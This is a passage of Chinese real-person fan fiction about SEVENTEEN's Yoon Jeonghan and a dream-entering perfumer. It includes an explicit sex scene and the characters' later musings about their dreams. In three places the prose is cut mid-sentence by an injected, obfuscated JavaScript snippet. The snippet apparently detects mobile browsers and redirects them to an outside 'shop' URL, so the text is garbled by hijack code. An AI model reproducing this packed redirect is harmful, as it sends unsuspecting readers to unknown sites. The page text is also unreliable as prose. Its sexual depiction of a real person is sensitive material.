“为什么?”尹净涵的嘴唇移到她的嘴角,啄了啄,又移到她的下巴轻轻咬了一口。 文世雅抓住这一阵空隙喘.息地说:“会弄乱妆容。” 尹净涵轻笑出声:“那就补。”手下的动作却趁乱钻进衣服胡作非为。 文世雅倒吸一口气。 “你瘦了。”尹净涵的嘴唇贴在她脖子上。 “没有。” 他的手指停在她的肋骨下面按了一下:“有,这里。骨头以前没这么明显。” 文世雅说不出话了,只能温顺地靠在他的怀里。。 “尹净涵……”她叫他的名字,声音断断续续的。 他抬起头,看着她:“嗯?” “你……等会儿还要比我先去打歌直播。” “时间还够。” 够?够什么? 没等文世雅反应过来,他就拥抱着她往前走了几步,后背抵上了化妆台的边缘。 台面上的瓶瓶罐罐被撞得晃了一下,一个粉底液瓶子倒了,落在地上,发出清脆的声响。 这一声响唤回了文世雅发懵的思绪,然后才看清楚自己现在的处境。 尹净涵的手撑在她两侧的台面上,把她圈在中间。 他比她高很多,在这个姿势下,她必须仰着头才能看到他的脸。 灯光在他身后,他的脸在阴影里,只有眼睛是亮的:“可以吗?” 文世雅没有回答,而是闭上了眼睛。 尹净涵的舌尖撬开她的牙齿,霸道地探进来,不放过任何一个角落。 文世雅所有的思考都暂停了,什么“为什么”,什么“怎么办”,统统被这个吻烧干净了。 她从喉咙里发出很小的声音,是叹息也是呻.吟。 尹净涵扶着她的腰往上提,让她往后坐到了化妆台面上,他收紧手臂紧紧拥抱着她。 顺着他的动作,文世雅毫无力气地将上半身伏靠在他的胸前。 “看镜子。”尹净涵突然说。 文世雅愣了一下,顺着他的目光转头,看到了镜子里映照出的一切。 她的头发散乱着,口红被蹭花了,嘴唇红得不像话,眼睛半睁半闭,瞳孔散开,腿缠在他的腰上。 而他就站在她的两腿之间,衬衫敞开着,低着头看她,嘴唇上沾着她的口红印。 “看到了吗?”他的声音在她耳边,嘴唇贴着耳垂,“你现在什么样。” 镜子里的画面让文世雅觉得眩晕,这不是她认识的那个在调香室里一脸淡然调香的文世雅。镜子里的女人是另外一个人,一个被欲.望完全占据理智的人,眼神迷离,嘴唇红肿,整个人跟泡在热水里,从头到脚都在泛着粉红。 “现在,转过来。”尹净涵的手托住她下巴,把她的脸从镜子那边转回来,面对着他,“只看我。” 10.春还没结束呢 文世雅觉得自己要被烧干了,怎么会这么热这么折磨人,每次侵入都会让她颤栗到想要狠狠抓破尹净涵的肌肤。 不知道过了多久,尹净涵终于把她从化妆台上抱下来。 她的脚踩在地上的时候腿软了一下,他扶住了她,一只手揽着她的腰,另一只手托着她的后背,没有放开她的嘴唇。 两个人在待机室里慢慢移动。 他后退,她前进。 等尹净涵的腿碰到沙发,他坐了下去,她被带着往前,跨坐在他的腿上。 这个姿势让两个人的身体贴得更紧。 她的裙子在这个过程中掀上去了一下,露出大片的肌肤。而他的手就放在她的腿上,缓慢地打着圈。 过了一会儿,他问:“你冷吗?” 因为他摸到了她因刚才的情动而裸.露大片肌肤的后背起了一层鸡皮疙瘩。 文世雅摇了摇头,她冷不冷,她热得要命。 尹净涵放下心,继续他的动作。 “放松。”他在她耳边喘着粗气说。 文世雅想要放松,但她做不到。她的身体完全不听她的,每一块肌肉都在颤栗收缩,所以她只能紧紧将指甲掐陷进他的肩膀皮肤里,企图用他的疼来缓解。 尹净涵察觉到了她的紧绷,停下了动作,轻轻地啄吻着她的软唇,安抚着她的情绪。 文世雅的呼吸慢慢平复了一些,那种快要烧死过去的感觉消退了一些。她将脸靠在他的肩膀上,闭着眼睛,缓和着情绪。 尹净涵:“好一点了?” 她点了点头,没有睁眼。 尹净涵勾了勾嘴角,手掌在她后背轻轻地拍着,像在哄一个小孩。而这个动作让她觉得安全温暖,这个世界上只有他们两个人。 似乎过了很久,但文世雅知道才过去几分钟。 她抬起头看他,而他也随着她的动作低头看她,表情平静,眼神却是温柔的。 在他的目光注视下,于是她支起腰,膝盖在沙发上挪了挪,找到一个更舒服的位置,整个人都跨坐在他的身上,让自己的视线高于他的。 然后俯下身,吻住了她。 她能感觉到对方的手臂在收紧,把她抱得更紧了。 文世雅学着尹净涵的方式,用舌尖轻轻地碰了一下他的嘴唇,甚至都不用停留,对方就已经为她叩开了门。 “文世雅。”尹净涵叫她。 她应了一声,声音含糊不清,嘴唇还贴着他的。 “想继续要。” “嗯……”她喘了一声,挪开脸,埋进他的脖颈处。 水渍声在这个全世界其他人都消失而只有他们两个人在的狭小的安静的待机室里,无比响亮。 一声一声,让文世雅一点一点地陷入沉沦。 她的手从尹净涵的肩膀上滑落到他的手边,被他一下握住,十指交缠,掌心贴着掌心,都是热的,还有一点湿。 文世雅让自己什么都不想,事已至此,她想再多都没有用了,干脆让自己沉下去,沉进他的怀里,也沉进梦里。 周围的环境变了,变成了一片暖色。 文世雅不知道这是梦的结束还是梦的高.潮,她知道自己在痉挛,脚趾也控制不住蜷缩起来,整个人绷成一张弓。 尹净涵感觉到了,抱紧了她,把她箍在怀里,不让她逃开。 “别怕。”他在她耳边说。 然后暖色渐渐暗了下来,如同一副水彩画被水浸湿了,所有的颜色都化开了。 …… 文世雅赶到工作室的时候,比以往开门的时间要迟了一个小时,这是很少会发生的情况,一般只有在她身体很难受或者有要紧事时才会来迟。 “世雅xi,你是家里出了什么事吗,看你最近不是身体不舒服闭店就是开店延迟了。”隔壁店铺老板柳智恩见文世雅过来,忍不住出于好心问道。 文世雅一边开锁一边朝她笑了笑:“没有,就是最近身体太累了,想多休息休息。” 柳智恩忍不住担忧地说:“那你多休息,身体才是我们的本钱,身体都熬坏了,更别说挣钱了。” “好的,谢谢你的关系,我会注意身体的。”文世雅连声感谢,然后赶紧推门进入工作室,躲避柳智恩再问下去。 她是真怕柳智恩问她是做了什么才会身体这么累,难不成她说是因为做了春.梦,一整夜都在这这那那的才导致自己这么累吗? 说出去真的是要笑死人。哪怕是她的好朋友柳娜英来问,她也不会实话实说的。 不然柳娜英在关心她的前提下,还会笑她连男朋友都没交就做了春.梦,然后催促她赶紧谈段恋爱,释放一下多巴胺。 进入工作室,文世雅先把背包放下来,脱掉外套穿了件平时在工作室才会穿的工作服,做起正式营业的准备。 好在离客户过来拿香水的时间还早,文世雅在收拾好东西正式营业后,还有充足的时间坐下来好好休息。 她正有一下没一下地轻轻摸着多肉。 文世雅在思考一个问题。 昨晚的春梦,是尹净涵的,还是她的? 上次进入尹净涵的春.梦之后,她分析过原因。 尹净涵第一次使用了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404555|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调配的定制香水,她入了他的梦,能力出了变化,让她以参与者的身份出现在他的梦里。那晚过后,她就再也没梦到过她的梦。 所以她认为能力变化的地方只有一个,就是她进入梦境的视角,而至于进入梦境的次数并没有变化,依旧保持着只有客户第一次使用新定制香水的情况下才会入梦。 这通分析下来,文世雅更偏向于这是她自己做的春.梦。 而至于为什么会梦到跟尹净涵有关的春.梦……她开始回想昨天发生了什么特别的事。 上午在工作室,没有客人,她整理了香料。下午去参加了方老师的婚礼,吃了酒席,和朴多英聊了一会儿,然后郑路奂跟她表白了。 她拒绝了,婚礼结束后去了趟工作室,然后回了家,洗了澡,睡了觉。 然后就做了这个梦。 文世雅的思路开始慢慢清晰起来。 郑路奂的表白。 这件事她一直没有认真想过,因为拒绝得太干脆了,干脆到她觉得自己没有受到任何影响。 但现在回想起来,被人表白这件事本身就是一种刺激,而且还是暗恋自己好多年的人告白。 再加上她是个有正常需求的成年女性。 她当时没有感觉,不代表她的身体没有感觉。身体是诚实的,它会被[被异性喜欢]这件事本身打动。不管愿不愿意承认,也许在她没有意识到的情况下,她的身体产生了一些荷尔蒙。 然后她回到了家,那些荷尔蒙无处发泄,就在她的身体里发酵。 而尹净涵,是她在现实中见过的最好看的男人。不是那种手机屏幕里经过包装的好看,是真实的、近距离的好看。他的五官、声音,以及他身上的味道,都有着极其招异性喜欢的特质。 当她的身体需要一个人来填满那些被激发的荷尔蒙时,他自然而然就成了那个人。 文世雅觉得这个解释非常合理,她的能力从来没有出过错,唯一的一次异常就是上次进入梦境的方式不对。 对,就是这样。 与此同时,文世雅又想到一个问题。 如果她刚才的解释是对的,那她以后是不是就不会再梦到尹净涵了?郑路奂的表白已经过去,那波荷尔蒙应该已经代谢掉了。 只要没有新的刺激,她的潜意识就不会再拿尹净涵来做文章。 至于尹净涵有没有继续用香水,跟她的梦没有关系。 以后只要她继续观察入其他客户梦境的方式是如何的,就能知道能力的变化是一时的还是长久的。 文世雅在心里对这件事的定论盖了章。 11.想要了解她 尹净涵有点生无可恋,他感受着下半身的生理反应,头疼得想要直接一睡不起。 手机讯息通知声连续响了好几次。 他拿起来看,经纪人在群里发了三条信息,第一条是“今天的通告别忘了”,第二条是“我还有一个小时才到”,第三条则是“赶紧收拾好,别随便穿件衣服出来”。 现在成员们基本不会主动回复这些信息了,但偶尔也会顺手回复一下。 尹净涵就属于那个没有回复的人,他直接把手机扔在枕头旁边,脑子却还在回想昨晚的事。 距离上一次做这种梦已经过去很久了,他都以为那件事已经翻篇了,只是因为某段时间压力太大、身体太累导致的偶然现象。 他重新使用文世雅给他调配的定制香水后,连着好多天什么都没梦到,睡得又沉又死,醒来的时候连梦的内容都记不住。他当时还松了口气,觉得和文世雅的春.梦只是偶然,连像这种会联想到她本人的香水都没能让他继续做那种梦,说明她对他并没有造成什么影响。 结果昨晚又来了。 尹净涵用力地搓了一把脸。 他不理解,为什么又是她? 他认识的女爱豆、女艺人不少,合作的模特、演员、歌手,漂亮的比比皆是。但他从来没有梦到过她们,现在却梦到了一个调香师,一个拢共只见了几次面、说话内容永远围绕着香水的女人。 这不合理。 以前他也做过春.梦,十几岁的时候做过,二十出头的时候也做过,最近几年偶尔也会有。但那些梦里的对象都是模糊的,没有具体的五官,只有一个轮廓。 醒来之后他根本想不起来梦到的是谁,甚至不确定梦里有没有具体的人。只是一种生理反应,过去了就过去了,不会在脑子里留下任何痕迹。 但现在不一样,两次的梦境,一次是她的调香工作室,另一次是电视台待机室。 不同的场景,却是同一个人的脸,清晰得像是高清照片。他能在梦里看清她眉毛的弧度,她嘴角微微翘起来的角度。 这些东西在他醒来的瞬间还留在视网膜上,闭着眼睛还能看到残影。 尹净涵开始分析自己最近的状态。 工作压力大吗?大,近些年,SEVENTEEN的成绩都在每一次新的回归中刷新自己的纪录,这也导致了他们会有下一次回归还能不能做得这么好的压力。加上回归的各种活动,行程排得很满,休息时间严重不足。 身体累吗?累,有时候在车上坐着都能睡着,醒来的时候脖子酸得转不了头。 这些因素加起来,确实容易做那种梦。以前也是这样,压力大、身体累的时候,睡眠质量会下降,梦的内容也会变得更混乱、更情绪化。这可以解释为什么他会做春.梦,但不能解释为什么春.梦的对象是她。 他在现实中对文世雅有那种想法吗? 尹净涵认真想了想这个问题。 文世雅长得不差,皮肤很白,眼睛很黑,说话的声音不大,做事的时候很专注。她不是那种让人一眼就觉得惊艳的浓颜长相,但看第二眼绝对会让人留下深刻印象的漂亮。 但要说“想法”,尹净涵觉得没有。至少之前在他清醒的时候,他没有对她产生过任何越界的念头,而从春.梦中醒来的时候产生反应属于春.梦后遗症。 她是调香师,他是客人,两个人之间的关系清清楚楚,没有任何暧昧的成分。 或许之前去她工作室拿香水的时候,他曾短暂地对她的眉眼失神过,但那说不上什么想法,只是觉得她漂亮而已。而那种要跟她进一步发展的想法,根本就没产生。 那为什么会做到和她的春.梦? 尹净涵想到另一种可能,也许不是因为她,是因为那瓶香水。那瓶香水是她调的,虽然是根据他的要求来调的,但里面肯定还会有她的审美、她的情感。 他每天把那个味道喷在身上,等于每天都在接触她的一部分。 时间长了,他的潜意识在把这个香水当成自己专属的时候,可能还会把这个味道和她的形象绑定在一起了。 做那种梦的时候,大脑需要一个具体的对象来配合梦境的内容,于是就自动把她当成梦境的人物了。 这个解释听起来很合理,尹净涵觉得逻辑上说得通。不是他对她有想法,是他的大脑把味道和她关联在了一起。就像听到一首歌会想起某个时期,闻到某种食物的味道会想起某个地方,这是正常的神经反应。 但这个解释没能让他觉得轻松,因为它解释不了为什么是春.梦,而不是别的梦。如果只是气味绑定,那他应该梦到她在调香室工作的画面,而不是那种事情。 尤其是第二次梦境里的那种cosplay情况。 除非他的潜意识对她有某种他自己都没意识到的东西。 尹净涵不想继续想这个问题了,直觉再想下去事情会变得危险。 可不知道为什么,当他坐在商务车里,前往通告场地的时候,他打开IG账号,莫名其妙点进了文世雅的工作室账号。 他之前就是看到她的工作室账号,才会产生定制一瓶香水的念头并且去了她的工作室。 文世雅工作室的账号头像是一张香水的照片,透明的玻璃,logo标签,和他那瓶定制香水很像但不是同一款。 他点进去,开始翻。 账号的内容不多,大概几十条,大部分是香水的照片,配一段简短的文字说明。照片拍得很朴素,没有什么华丽的滤镜,没有复杂的构图,就是把瓶子放在柜台或者工作台上,用自然光拍一张。 和他见过的那些精心策划的品牌账号完全不一样。 尹净涵一条一条地往下翻,翻到大概第十几条的时候,他看到了一张不是香水的照片,是一盆多肉,胖乎乎绿油油的,能看出被养得很好。 后面的内容还是以香水为主,偶尔会有一张工作室的照片。 尹净涵把所有的内容都看完了,看完之后他退出这个账号,犹豫了一下,在搜索栏里打了她的名字。 文世雅,Moon Se-ah. 他不知道她个人的IG账号是什么,也许根本就没有。 然而试了好几个组合,都没有搜到。 尹净涵本来想放弃了,但找不到她账号的这件事本身,让他更加想要找到了。不是因为非看不可,是因为“找不到”这三个字本身就带着一种吸引力。 他又拿起手机,这次换了一个思路。 尹净涵翻了翻工作室账号的关注列表和粉丝列表,既然她管理这个账号, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411143|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许她的个人账号会关注这个工作室账号,或者被它关注。 结果一圈看下来,没有找到任何看起来像她的。 尹净涵失笑,觉得自己真的傻到家了,怎么会做这么蠢的事。 但坦白说,他想了解她。哪怕一开始没有想法,经历了两次奇怪的春.梦经历,没有想法也或多或少有了想要了解她的念头。 问题是,他没有任何途径去了解她。他只有她工作室的联络方式而没有她私人的,不能随便发信息或打电话问[你平时喜欢做什么]。他也没有他和她的共同朋友,他认识的人和她认识的人大概率没有交际。他也不能去工作室问她,那太刻意了,而且她那种性格大概会觉得奇怪吧。 唯一的方式就是IG。 如果能找到她的个人IG账号,哪怕只是看看她发了什么照片,关注了什么人,也能大概知道她是一个什么样的人。 尹净涵又拿起手机,这一次他更有耐心了。他翻工作室账号的关注列表,这次不是看用户名,是看头像。大部分头像都是跟香水有关的,可以看出这些账号应该也是跟香水有关的账户。 翻了大概十几分钟,尹净涵关注到了一个细节。工作账号关注了一个用户,用户名是[Moon_n],头像是两只猫,一黑一白。这个账号在关注列表的很下面,他之前没注意到。 尹净涵点进去,前面十几条内容,基本没出现人脸,都是一些风景照或者猫咪照,直到翻到一张毕业照。 一看到这张照片,他就知道这个账号是文世雅的账号了,因为照片上的是五官有点青涩的文世雅,这是她大学毕业的照片。 继续往下翻,就陆陆续续有更多文世雅本人出镜的照片了。 大学毕业照、高中毕业照、和高中同学的修学旅行…… 这些照片,文世雅都拍得不算精致,构图简单,像是随手举起手机拍的,充满生活气息。照片里的她笑得很温柔,眉眼弯弯,五官青涩稚嫩得像一颗小青梅。 尹净涵没有选择点击关注,哪怕他现在使用的IG账号是私人小号,因为他随便瞟一眼文世雅这个私人IG的关注列表和粉丝列表,都是看出那些账号应该是和她认识的。 他一个陌生账号突然关注她,恐怕会吓到一无所知的文世雅。 不能关注,那就只能截图保存了,以免忘记账号名而找不到她了。 通告场地即将到达,尹净涵收拾好思绪,专心于工作。 可在工作期间,总会有休息的时候,而那种时候他总会隐隐约约地想。 文世雅平时除了调香,她还会做什么?她的生活是什么样的呢?她有男朋友了吗? 尤其是男朋友这个问题,只要一想到,尹净涵就忍不住皱眉。 不是在意,也不是嫉妒。 以他现在对文世雅的那一丝丝好奇和想法,根本还不至于到她有了男朋友就会让他难受的程度。 他在意的是,如果她有了男朋友,他就要想尽办法暂停一切对她的关注和想法,哪怕只有一点点。 这就显得他刚才翻看她IG账号和截图保存的行为是多余的。 但现在一切都还是未知数。 而文世雅到底是一个什么样的人? 尹净涵不知道,但他会知道的。 12.这不是惧怕 连续两次的春梦,尹净涵再次下意识地避免使用那款定制香水了。 他不觉得自己在害怕一瓶香水,而是一种本能的回避,既然这款香水连续让他做了不该做的梦,那只能先搁置到一旁,慢慢淡化这款香水给他带来的影响。 但他不打算永远不使用,因为担心会继续带来影响就避开不再触碰,这不是他的性格。 好在时间是万能的,好多天不用那款香水,他就没有继续梦到那些让人耳朵发热的梦了。 不过他也没那个时间和精力梦到了。 因为SEVENTEEN在忙着北美巡演的收尾工作,他们还剩下最后几场演唱会,亚特兰大、贝尔蒙多、多伦多、纽瓦克,四个城市,十天之内跑完。 尹净涵的行程被排得很满,每到一个新城市,他都要连忙到演唱会现场进行排练,一排练就是五六个小时,甚至一整天。而一回到酒店房间,直接累得倒头就睡。 前往多伦多的前一天晚上,SEVENTEEN刚结束在亚特兰大的演唱会,他们都在忙着收拾行李准备坐飞机前往多伦多。 坐车去机场的路上,队友之一李璨坐在他旁边,突然哀嚎了一声:“巡演忙得我们连吃饭的时间都没有。” “车上吃。”经纪人说。 “睡觉呢?” “飞机上睡。”经纪人无奈地看他,“你们都开了多少次巡演,难道还不知道演唱会就是会这么忙碌这么累吗?” 李璨生无可恋:“知道啊,就是因为太饿了所以抱怨一下。” 尹净涵被弟弟表情逗笑了,他伸手拍拍他的肩膀,调侃道:“你包里不是塞了很多零食吗?吃吃零食得了。” 李璨幽怨地看了一眼尹净涵:“是——” 到了机场,经纪人和工作人员去处理托运行李的事,SEVENTEEN则候机厅等待登机,周围已经绕了一圈拿着相机大炮或者手机的粉丝。 尹净涵没有化妆,但他也没有像其他成员那样戴帽子和口罩。他天生就底子好,即使是素颜,哪怕是油光满面,脸部的状态也好到能够坦然面对相机。 登机后,SEVENTEEN的座位都在头等舱。尹净涵的座位在靠窗的位置,他坐下来安顿好东西,戴上耳机,调出一个电影列表,翻了几页,选中一部准备等会儿开始放。 洪知琇坐在尹净涵旁边偏中间的位置,他正闭着眼睛,耳机里放着音乐,手指在大腿上轻轻地敲着节拍。 隔座是夫圣宽的位置,他已经把平板架好了,屏幕上是一个综艺节目,而他正被综艺里搞怪的剧情逗得前仰后合。 飞行时间将近六个小时,尹净涵断断续续地睡了几觉,每次醒来的时候都不知道自己在哪儿,要看一眼窗户外面是白天还是黑夜才能反应过来,然后再看看周围队友们的情况,见无异样就会重新闭眼继续睡。 离目的地还有一个小时的时候,睡梦中的队友包括尹净涵自己都纷纷醒了过来,做好下飞机的准备。 洪知琇突然伸手戳了一下尹净涵的胳膊。 “你包里带香水了吗?” 尹净涵还处于刚醒来没多久的发懵时期,听见他的提问,下意识地想回一句“没有”,但脑子很快就闪过了什么。 他艰难地回想了一下包里的东西,突然发现之间放进去随身带着的定制香水一直忘了拿出来。 “带了,怎么了?”尹净涵坐直身子,拉伸了一下久坐而导致有些僵硬的腰背和胳膊。 “我的香水放在行李箱了,没带在身上。”洪知琇皱了皱鼻子,“坐飞机坐得我感觉身上都有味儿了,飞了这么久,难受。” 尹净涵有些无奈:“才六个小时的行程,能难受到哪里去?” 洪知琇说:“那不一样,飞机怎么说也是封闭空间,空气流通没那么好。” 紧接着他催促着尹净涵赶紧把香水借给他一下。 “行了行了,我给你拿。” 尹净涵没叫乘务员帮忙,直接自己站起来把放在上面行李架的背包拿了下来,然后拉开拉链在里面翻了好一会儿,翻出了已经被压在最下面的香水,递给洪知琇。 洪知琇接过来,在脖子和手腕处喷了几下,低头闻了闻,又把瓶子翻过来看了看标签。 “这香水就是你之前经常用的那个定制香水吧?真的很好闻欸,近距离闻比在别人身上闻感觉要更香一些。”他说。 尹净涵说:“那当然了,近距离要气味更浓厚一点,而且每个人的体味不同,喷了同款香水散发出来的香味肯定也有所不同。” “你怎么知道这么多啊?”洪知琇有点好奇他是怎么知道这么多香水的知识的?平时也没见这位多关注这方面的事情啊? 洪知琇的问话让尹净涵不由失神了几秒,想起了刚才他说的话是从文世雅工作室的IG账号看到的。 “就无意间看到了这番话。”他应付了几句,不想就着这个话题谈下去,赶紧移开话题,“你喷好了吗?喷好了就把香水还给我,等会儿要落地了,我先把背包的东西收拾好。” 从洪知琇手中拿回香水,尹净涵低头看了一眼,瓶子里的液体还剩下一些,省着点用还能用一段时间。 他已经十多天没闻到这个味道了,却还是习惯性地把它带在了身边。 习惯真的有点可怕。 尹净涵看着窗外,脑子里飘过一个念头。那就是洪知琇使用了这瓶香水,而坐在旁边的他不可避免地重新闻到了这款香水的香味,那他还会再梦到和文世雅的那种梦吗? 他不知道,只能静静地等待着夜幕的降临来揭露结果。 又过了一段时间,飞机开始下降了,轮子碰到跑道的时候,机身震了一下,滑行了一会儿,速度慢慢降下来直至停了下来。广播里传来空姐的声音,说欢迎来到多伦多。 尹净涵解开安全带,站起来活动了一下腿脚。坐了六个小时,膝盖有点硬,小腿也有些发胀。夫圣宽迅速把平板收起来,从座位上起来伸了个大懒腰,嘴里嘟囔着“终于到了”。 看看其他成员,也都是一脸疲惫想要赶紧下飞机去酒店休息的模样。 他们拿了行李,出了机场。多伦多的风里带着一点湿气,像是要下雨。 来接他们的几辆黑色商务车已经在外面等着了,SEVENTEEN在工作人员往后备箱放行李箱的时候,赶紧各自坐上了车,防止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414733|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逗留太久引起人群纷乱。 到了酒店,经纪人办好入住手续,把房卡分给大家,然后跟工作人员、保镖护着他们往主要的楼层乘坐电梯而上。 这么做的目的是为了防止有私生趁着成员们没注意偷袭或者提前在房间门口蹲守。 到了相应的楼层,成员们拖着自己的行李箱,在走廊分开,各自进了自己的房间。 一进房间,尹净涵就把窗帘拉上,去卫生间洗了澡。 洗完澡,刚好是工作人员送吃的时间,是酒店的牛排套餐。 因为太过疲惫,尹净涵加快速度吃完牛排,刷完牙涂了层面霜就爬上床躺着了。 酒店的床很软,枕头也要更舒适点,他才躺了几分钟就昏昏欲睡了,脑子里却还在想明天的排练,比如演唱会的曲目是哪几首,哪些歌需要记住走位,哪些歌需要和伴舞配合…… 他想着这些,慢慢地放松下来,身体也从紧绷的状态一点点松弛下来。不一会儿,意识开始模糊。 然后他睡着了。 第二天临近中午,尹净涵被提前一晚定好的闹钟叫醒。窗帘还是拉着的,房间里很暗,分不清外面是白天还是晚上。 他看了一眼时间,早上十点,大概睡了六七个小时,不算少,却足以让他疲惫的身体恢复了不少,也有精力回想昨晚的睡眠情况。 昨晚并没有梦到文世雅,他所担心的因为闻到定制香水气味而再次梦到那种梦的情况并没有发生。 为什么呢? 尹净涵皱眉,刚想继续思考下去,却被Kakao Talk的信息提示声打断了思绪,他看了看手机,是崔盛澈的讯息,问他要不要去酒店楼下餐厅吃饭。 他回了一个“好”,然后迅速起床洗漱穿衣。 收拾得差不多时,崔盛澈也刚好过来找他了,两个人带着一位经纪人和一位工作人员一起去楼下餐厅。 “其他人呢?他们不吃吗?”等大家都坐下,尹净涵吃了一口意面,突然问道。 经纪人说:“基本说不吃,想再睡会儿。” 尹净涵点点头,表示理解。 不远处,洪知琇正端着一盘食物往他们这边方向走来,他坐到了尹净涵的对面。 “昨晚睡得好吗?”崔盛澈咽下嘴里的食物,问他。 洪知琇:“睡得不太好,床太软了,腰不舒服”。 欧美人都爱睡特别软的床,越软越好。洪知琇虽然是美籍,但还是不习惯这么软的床。 他又对着尹净涵说,“你那个香水的香味很持久啊,我昨晚都洗过澡了,还能隐隐闻到手腕上残留的香味。” “也没那么夸张。”尹净涵抬头说,“大概下午就散得差不多了。” 其实尹净涵并不想多谈关于香水的事,对其他人而言,那只是一瓶很好闻的定制香水,和商场里买的没什么区别。可在他眼里,定制香水容易让他联想到文世雅,而一想到文世雅,就绕不开那两个至今为止都让他觉得有点难为情的梦。 不过尹净涵也不打算告诉别人任何事,也没什么好告诉的,这本来就是他自己的事,跟别人说了不仅容易泄露隐私,说不定还会把文世雅牵扯进来。